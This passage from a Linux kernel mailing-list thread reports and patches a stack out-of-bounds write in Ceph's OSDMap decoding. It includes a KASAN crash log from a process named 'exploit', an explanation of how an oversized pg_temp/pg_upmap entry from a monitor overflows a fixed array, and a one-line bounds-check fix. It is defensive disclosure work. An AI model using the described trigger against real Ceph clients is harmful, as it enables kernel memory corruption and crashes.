> > [    2.828405]  ? __kasan_kmalloc+0x8f/0xa0
> > [    2.828415]  ? __kmalloc_noprof+0x1e2/0x5d0
> > [    2.828424]  __submit_request+0xc8/0xc80
> > [    2.828434]  ceph_osdc_start_request+0x92/0xd0
> > [    2.828445]  ceph_osdc_call+0x510/0x850
> > [    2.828456]  ? __pfx_ceph_osdc_call+0x10/0x10
> > [    2.828466]  ? __pfx_alloc_pages_mpol+0x10/0x10
> > [    2.828474]  rbd_obj_method_sync.isra.0+0x1ca/0x3c0
> > [    2.828486]  ? __pfx_rbd_obj_method_sync.isra.0+0x10/0x10
> > [    2.828499]  rbd_dev_image_probe+0x66a/0x3380
> > [    2.828508]  ? __pfx_rbd_dev_image_probe+0x10/0x10
> > [    2.828518]  ? kasan_save_track+0x14/0x30
> > [    2.828529]  ? __asan_memcpy+0x3c/0x60
> > [    2.828538]  do_rbd_add+0xb3b/0x2e80
> > [    2.828555]  ? __pfx_do_rbd_add+0x10/0x10
> > [    2.828564]  ? _copy_from_iter+0x23b/0x15b0
> > [    2.828575]  ? __pfx__copy_from_iter+0x10/0x10
> > [    2.828585]  ? __pfx_add_single_major_store+0x10/0x10
> > [    2.828594]  bus_attr_store+0x79/0xb0
> > [    2.828602]  ? __pfx_bus_attr_store+0x10/0x10
> > [    2.828610]  sysfs_kf_write+0x21b/0x2d0
> > [    2.828617]  kernfs_fop_write_iter+0x42b/0x620
> > [    2.828629]  ? __pfx_sysfs_kf_write+0x10/0x10
> > [    2.828636]  vfs_write+0x6d4/0xe00
> > [    2.828643]  ? __pfx_kernfs_fop_write_iter+0x10/0x10
> > [    2.828654]  ? __pfx_vfs_write+0x10/0x10
> > [    2.828662]  ? __pfx_do_sys_openat2+0x10/0x10
> > [    2.828672]  ksys_write+0x132/0x250
> > [    2.828679]  ? __pfx_ksys_write+0x10/0x10
> > [    2.828687]  do_syscall_64+0xdc/0x520
> > [    2.828695]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
> > [    2.828702] RIP: 0033:0x42708d
> > [    2.828707] Code: e5 48 83 ec 20 48 89 55 e8 48 89 75 f0 89 7d f8
> > e8 c8 fb 02 00 48 8b 55 e8 48 8b 75 f0 41 89 c0 8b
> > [    2.828714] RSP: 002b:00007ffc9038da60 EFLAGS: 00000293 ORIG_RAX:
> > 0000000000000001
> > [    2.828721] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 000000000042708d
> > [    2.828725] RDX: 0000000000000047 RSI: 000000000049b240 RDI: 0000000000000005
> > [    2.828730] RBP: 00007ffc9038da80 R08: 0000000000000000 R09: 0000000000000000
> > [    2.828734] R10: 0000000000000000 R11: 0000000000000293 R12: 00007ffc9038dbe8
> > [    2.828738] R13: 00007ffc9038dbf8 R14: 00000000004c4848 R15: 0000000000000001
> > [    2.828744]  </TASK>
> > [    2.828746]
> > [    2.846009] The buggy address belongs to stack of task exploit/149
> > [    2.846349]  and is located at offset 232 in frame:
> > [    2.846609]  calc_target+0x0/0x1cf0
> > [    2.846796]
> > [    2.846883] This frame has 4 objects:
> > [    2.847117]  [32, 48) 'pgid'
> > [    2.847122]  [64, 80) 'last_pgid'
> > [    2.847292]  [96, 232) 'up'
> > [    2.847481]  [304, 440) 'acting'
> > [    2.847649]
> > [    2.847906] The buggy address belongs to the physical page:
> > [    2.848224]
> > [    2.848313] Memory state around the buggy address:
> > [    2.848573]  ffff888010a57380: 00 00 00 00 00 00 00 00 00 00 00 00
> > 00 00 00 00
> > [    2.848962]  ffff888010a57400: 00 f1 f1 f1 f1 00 00 f2 f2 00 00 f2
> > f2 00 00 00
> > [    2.849346] >ffff888010a57480: 00 00 00 00 00 00 00 00 00 00 00 00
> > 00 00 f2 f2
> > [    2.849728]                                                              ^
> > [    2.850104]  ffff888010a57500: f2 f2 f2 f2 f2 f2 f2 00 00 00 00 00
> > 00 00 00 00
> > [    2.850456]  ffff888010a57580: 00 00 00 00 00 00 00 00 f3 f3 f3 f3
> > f3 f3 f3 f3
> > [    2.850806] ==================================================================
> > [    2.851354] kernel BUG at net/ceph/osdmap.c:2670!
> > [    2.851611] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI
> > [    2.851881] CPU: 1 UID: 0 PID: 149 Comm: exploit Tainted: G    B
> >            7.1.0-rc6+ #3 PREEMPTLAZY
> > [    2.852389] Tainted: [B]=BAD_PAGE
> > [    2.852571] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
> > BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.or4
> > [    2.853170] RIP: 0010:ceph_pg_to_up_acting_osds+0x2e2c/0x37b0
> > [    2.853483] Code: af ee ff ff e8 b5 e6 34 fb 48 8b 44 24 30 8b 98
> > 80 00 00 00 e9 26 ee ff ff e8 a0 e6 34 fb 0f 0b e8
> > [    2.854447] RSP: 0018:ffff888010a571d0 EFLAGS: 00010293
> > [    2.854730] RAX: 0000000000000000 RBX: 0000000041414141 RCX: ffffffff867a1dc8
> > [    2.855134] RDX: ffff88800ff4cc00 RSI: ffffffff867a3e0c RDI: 0000000000000005
> > [    2.855492] RBP: 0000000000000040 R08: 0000000000000005 R09: 00000000ffffffff
> > [    2.855858] R10: 0000000041414141 R11: 3d3d3d3d3d3d3d3d R12: ffff888010a57568
> > [    2.856243] R13: ffff88800fdbe52c R14: ffff88800fdbe400 R15: 0000000000000040
> > [    2.856606] FS:  000000002e6be3c0(0000) GS:ffff888177085000(0000)
> > knlGS:0000000000000000
> > [    2.857038] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> > [    2.857327] CR2: 00007f9184ae4d58 CR3: 0000000010a6d003 CR4: 0000000000772ef0
> > [    2.857695] PKRU: 55555554
> > [    2.857834] Call Trace:
> > [    2.857985]  <TASK>
> > [    2.858102]  ? __pfx_ceph_pg_to_up_acting_osds+0x10/0x10
> > [    2.858371]  ? _raw_spin_lock_irqsave+0x95/0xf0
> > [    2.858607]  ? __pfx__raw_spin_lock_irqsave+0x10/0x10
> > [    2.858865]  ? ceph_msg_new2+0x2a1/0x4b0
> > [    2.859097]  ? stack_trace_save+0x93/0xd0
> > [    2.859307]  ? __asan_memcpy+0x3c/0x60
> > [    2.859517]  calc_target+0x611/0x1cf0
> > [    2.859728]  ? kasan_save_stack+0x42/0x60
> > [    2.859983]  ? kasan_save_stack+0x10/0x60
> > [    2.860202]  ? __pfx_calc_target+0x10/0x10
> > [    2.860420]  ? entry_SYSCALL_64_after_hwframe+0x76/0x7e
> > [    2.860711]  ? __kasan_kmalloc+0x8f/0xa0
> > [    2.860963]  ? __kmalloc_noprof+0x1e2/0x5d0
> > [    2.861198]  __submit_request+0xc8/0xc80
> > [    2.861402]  ceph_osdc_start_request+0x92/0xd0
> > [    2.861626]  ceph_osdc_call+0x510/0x850
> > [    2.861828]  ? __pfx_ceph_osdc_call+0x10/0x10
> > [    2.862078]  ? __pfx_alloc_pages_mpol+0x10/0x10
> > [    2.862302]  rbd_obj_method_sync.isra.0+0x1ca/0x3c0
> > [    2.862560]  ? __pfx_rbd_obj_method_sync.isra.0+0x10/0x10
> > [    2.862846]  rbd_dev_image_probe+0x66a/0x3380
> > [    2.863111]  ? __pfx_rbd_dev_image_probe+0x10/0x10
> > [    2.863386]  ? kasan_save_track+0x14/0x30
> > [    2.863600]  ? __asan_memcpy+0x3c/0x60
> > [    2.863798]  do_rbd_add+0xb3b/0x2e80
> > [    2.864020]  ? __pfx_do_rbd_add+0x10/0x10
> > [    2.864233]  ? _copy_from_iter+0x23b/0x15b0
> > [    2.864468]  ? __pfx__copy_from_iter+0x10/0x10
> > [    2.864718]  ? __pfx_add_single_major_store+0x10/0x10
> > [    2.865001]  bus_attr_store+0x79/0xb0
> > [    2.865184]  ? __pfx_bus_attr_store+0x10/0x10
> > [    2.865398]  sysfs_kf_write+0x21b/0x2d0
> > [    2.865601]  kernfs_fop_write_iter+0x42b/0x620
> > [    2.865819]  ? __pfx_sysfs_kf_write+0x10/0x10
> > [    2.866061]  vfs_write+0x6d4/0xe00
> > [    2.866243]  ? __pfx_kernfs_fop_write_iter+0x10/0x10
> > [    2.866508]  ? __pfx_vfs_write+0x10/0x10
> > [    2.866710]  ? __pfx_do_sys_openat2+0x10/0x10
> > [    2.866944]  ksys_write+0x132/0x250
> > [    2.867122]  ? __pfx_ksys_write+0x10/0x10
> > [    2.867322]  do_syscall_64+0xdc/0x520
> > [    2.867502]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
> > [    2.867750] RIP: 0033:0x42708d
> > [    2.867908] Code: e5 48 83 ec 20 48 89 55 e8 48 89 75 f0 89 7d f8
> > e8 c8 fb 02 00 48 8b 55 e8 48 8b 75 f0 41 89 c0 8b
> > [    2.868812] RSP: 002b:00007ffc9038da60 EFLAGS: 00000293 ORIG_RAX:
> > 0000000000000001
> > [    2.869183] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 000000000042708d
> > [    2.869522] RDX: 0000000000000047 RSI: 000000000049b240 RDI: 0000000000000005
> > [    2.869878] RBP: 00007ffc9038da80 R08: 0000000000000000 R09: 0000000000000000
> > [    2.870258] R10: 0000000000000000 R11: 0000000000000293 R12: 00007ffc9038dbe8
> > [    2.870597] R13: 00007ffc9038dbf8 R14: 00000000004c4848 R15: 0000000000000001
> > [    2.870971]  </TASK>
> > [    2.871087] Modules linked in:
> > [    2.871273] ---[ end trace 0000000000000000 ]---
> > [    2.871520] RIP: 0010:ceph_pg_to_up_acting_osds+0x2e2c/0x37b0
> > [    2.871825] Code: af ee ff ff e8 b5 e6 34 fb 48 8b 44 24 30 8b 98
> > 80 00 00 00 e9 26 ee ff ff e8 a0 e6 34 fb 0f 0b e8
> > [    2.872741] RSP: 0018:ffff888010a571d0 EFLAGS: 00010293
> > [    2.873032] RAX: 0000000000000000 RBX: 0000000041414141 RCX: ffffffff867a1dc8
> > [    2.873368] RDX: ffff88800ff4cc00 RSI: ffffffff867a3e0c RDI: 0000000000000005
> > [    2.873702] RBP: 0000000000000040 R08: 0000000000000005 R09: 00000000ffffffff
> > [    2.874087] R10: 0000000041414141 R11: 3d3d3d3d3d3d3d3d R12: ffff888010a57568
> > [    2.874446] R13: ffff88800fdbe52c R14: ffff88800fdbe400 R15: 0000000000000040
> > [    2.874794] FS:  000000002e6be3c0(0000) GS:ffff888177085000(0000)
> > knlGS:0000000000000000
> > [    2.875220] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> > [    2.875520] CR2: 00007f9184ae4d58 CR3: 0000000010a6d003 CR4: 0000000000772ef0
> > [    2.875883] PKRU: 55555554
> > [    2.876043] Kernel panic - not syncing: Fatal exception
> > [    2.877628] Kernel Offset: disabled
> > ```
> >
> > We are glad to help if you have any questions.
> >
> > Thanks,
> > Xiang
> >
> >
> >
> >
> > On Mon, Jun 8, 2026 at 9:40 PM Xiang Mei <[email protected]> wrote:
> > >
> > > Thanks for your attention to this bug. We have a PoC that can trigger
> > > the KASAN crash. Please DM if you need it to reproduce the issue.
> > >
> > > Xiang
> > >
> > > On Mon, Jun 8, 2026 at 9:40 PM Xiang Mei <[email protected]> wrote:
> > > >
> > > > __decode_pg_temp() decodes an user-controlled length but only rejects
> > > > values large enough to overflow the allocation; it does not bound it to
> > > > CEPH_PG_MAX_SIZE. The helper backs both pg_temp and pg_upmap decoding, and
> > > > apply_upmap()/get_temp_osds() later copy the decoded list into the fixed-size
> > > > on-stack array struct ceph_osds.osds[CEPH_PG_MAX_SIZE]. A monitor that sends
> > > > an OSDMap with a pg_temp/pg_upmap entry longer than 32 thus causes a stack
> > > > out-of-bounds write.
> > > >
> > > > An OSD set for a single PG can never exceed CEPH_PG_MAX_SIZE, so reject longer
> > > > entries at decode time. The bound is well below the old overflow threshold, so
> > > > it also covers the allocation-size overflow the previous check guarded against.
> > > >
> > > >   BUG: KASAN: stack-out-of-bounds in ceph_pg_to_up_acting_osds
> > > >   Write of size 4 ... by task exploit
> > > >    kasan_report (mm/kasan/report.c:595)
> > > >    ceph_pg_to_up_acting_osds (net/ceph/osdmap.c:2617 net/ceph/osdmap.c:2833)
> > > >    calc_target (net/ceph/osd_client.c:1638)
> > > >    __submit_request (net/ceph/osd_client.c:2394)
> > > >    ceph_osdc_start_request (net/ceph/osd_client.c:2490)
> > > >    ceph_osdc_call (net/ceph/osd_client.c:5164)
> > > >    rbd_dev_image_probe (drivers/block/rbd.c:6899)
> > > >    do_rbd_add (drivers/block/rbd.c:7138)
> > > >    ...
> > > >   kernel BUG at net/ceph/osdmap.c:2670!
> > > >
> > > > Fixes: a303bb0e5834 ("libceph: introduce and switch to decode_pg_mapping()")
> > > > Reported-by: Weiming Shi <[email protected]>
> > > > Assisted-by: Claude:claude-opus-4-8
> > > > Signed-off-by: Xiang Mei <[email protected]>
> > > > ---
> > > >  net/ceph/osdmap.c | 2 +-
> > > >  1 file changed, 1 insertion(+), 1 deletion(-)
> > > >
> > > > diff --git a/net/ceph/osdmap.c b/net/ceph/osdmap.c
> > > > index 8b5b0587a0cf..e35d8abe1773 100644
> > > > --- a/net/ceph/osdmap.c
> > > > +++ b/net/ceph/osdmap.c
> > > > @@ -1436,7 +1436,7 @@ static struct ceph_pg_mapping *__decode_pg_temp(void **p, void *end,
> > > >         ceph_decode_32_safe(p, end, len, e_inval);
> > > >         if (len == 0 && incremental)
> > > >                 return NULL;    /* new_pg_temp: [] to remove */
> > > > -       if ((size_t)len > (SIZE_MAX - sizeof(*pg)) / sizeof(u32))
> > > > +       if (len > CEPH_PG_MAX_SIZE)
> > > >                 return ERR_PTR(-EINVAL);
> > > >
> > > >         ceph_decode_need(p, end, len * sizeof(u32), e_inval);
> > > > --
> > > > 2.43.0
> > > >